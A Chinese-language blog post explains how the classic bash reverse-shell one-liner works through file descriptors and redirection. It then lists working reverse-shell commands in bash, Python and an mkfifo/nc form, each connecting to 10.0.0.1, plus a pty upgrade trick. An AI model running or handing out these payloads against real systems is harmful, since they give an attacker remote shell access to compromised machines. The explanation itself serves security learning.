反弹shell语句的理解

前言

一直以来,只会有反弹shell的语句,却对其中的细节不甚了解,比如下面这句最经典的

1
/bin/bash -i >& /dev/tcp/[yourip]/[yourport] 0>&1

文件描述符

三种标准的文件描述符

0 - stdin 标准输入
1 - stdout 标准输出
2 - stderr 标准错误输出

>&

&根据后面的参数不同会有不同的结果。

  • 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
  • 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

理解反弹shell语句

1
/bin/bash -i >& /dev/tcp/[yourip]/[yourport] 0>&1
  • 第一个>&后面为文件 所以bash命令的标准输出和标准错误输出均导出至远程tcp连接

  • 第二个>&发面为文件描述符,表示将标准输入重定向至标准输出,由于标准输出定向至远程,标准输入也借此定向到远程。(由于标准错误输出也定向至远程,因此把 0>&1 改为 0>&2 也可以得到一个交互shell)

    常用反弹shell语句

    1
    2
    3
    4
    5
    6
    7
    1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

    2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

    4. python -c 'import pty; pty.spawn("/bin/sh")'#解决standard in must be a tty需要tty的问题
坚持原创技术分享,您的支持将鼓励我继续创作!